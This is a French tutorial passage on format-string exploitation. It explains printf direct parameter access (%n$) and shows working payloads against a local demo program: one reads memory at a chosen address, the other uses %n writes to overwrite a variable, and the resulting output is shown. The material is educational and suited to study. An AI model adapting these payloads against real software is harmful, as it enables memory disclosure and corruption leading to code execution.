IV°) Simplifier les format strings : accès direct aux paramètres
Accès direct aux paramètres
Notre exploitation actuelle des vulnérabilités type format strings nous oblige à remonter toute la pile et à rajouter des bytes
poubelles afin d'utiliser cette vulnérabilité correctement. Il y a beaucoup plus propre, mais surtout beaucoup plus simple.
Toutes les fonctions de formatages des chapines de caractère (printf, fprintf, sprintf) permettent, chose mal connue des programmeurs, la possibilité
d'utilisation de l'accès direct. Au lieu d'écrire %o pour effectuer l'opération o, et remplir dans la liste des paramètres le n-ième paramètre correspondant,
il suffit d'y accéder par %n$o, n étant le rang de l'argument dans la liste. Cette utilisation est particulièrement intéressante quand on utilise plusieurs
fois les mêmes paramètres, sans avoir à les réécrire trop de fois. Voici un exemple :
#include <stdio.h>
int main() {
char *addr = getenv("PATH");
char caractere = 48;
printf("La variable PATH est à %1$p et contient %1$s. Le caractère est %2$c, ce qui correspond à %2$d en ascii, soit %2$x en hexa et j'en passe.\n",addr,caractere);
return 0;
}
Et sa sortie :
$ gcc acces_direct.c && ./a.out
La variable PATH est à 0xbfe9ae08 et contient /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games. Le caractère est 0, ce qui correspond à 48 en ascii, soit 30 en hexa et j'en passe.
$
On peut donc a priori simplifier considérablement les exploits de type format strings, notamment quand l'état de la pile est plus compliqué que dans nos
exemples (au cas où il faudrait une chaîne formatée géante pour permettre l'exploitation.
Application aux vulnérabilités format strings
Dans les exemples suivants, on a pris soin d'échapper le $ ($ = \$) car c'est un caractère spécial du shell. Par conséquent,
il serait interprété avant d'être envoyé à echo si on ne prenait pas soin de le neutraliser par l'anti-slash. L'utilisation de la vulnérabilité pour lire est désormais triviale :
$ echo `printf "\x90\x98\x04\x08"`%9\$s | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, %9$s
ou comme ça : Chaîne de caractères de test
i = 1337 = 539
Fin du programme
$
Dans le cas de l'écriture, on n'a plus besoin des bytes poubelles que représentaient HACK puisque nous sommes libre de lire l'argument que l'on veut
pour faire augmenter le nombre de bytes écrites jusqu'au nombre adéquat. On prend soin de réajuster le nombre de bytes à écrire pour la première lecture
(0x78 - 16 = 120 - 16 = 104) :
$ echo `printf "\x8c\x98\x04\x08\x8d\x98\x04\x08\x8e\x98\x04\x08\x8f\x98\x04\x08"`%8\$104x%9\$n%8\$222x%10\$n%8\$222x%11\$n%8\$222x%12\$n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, %8$104x%9$n%8$222x%10$n%8$222x%11$n%8$222x%12$n
ou comme ça :
bf9210d8
bf9210d8
bf9210d8
bf9210d8
i = 305419896 = 12345678
Fin du programme
$
Bien que cette dernière écriture ne soulage pas nécessairement l'oeil humain, il faut reconnaître qu'elle simplifie les actions de lecture/écriture,
et ceux de façon exponentielle avec la complexité ou la longueur de la pile dans une situation réelle. Trèves de bavardages. Nous allons maintenant
voir comment avec ces quelques connaissances on peut se débrouiller pour exécuter du code arbitraire.